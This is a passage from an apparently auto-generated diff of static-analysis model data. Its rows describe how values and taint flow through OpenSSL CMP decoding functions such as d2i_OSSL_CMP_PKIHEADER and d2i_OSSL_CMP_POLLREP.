"df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", 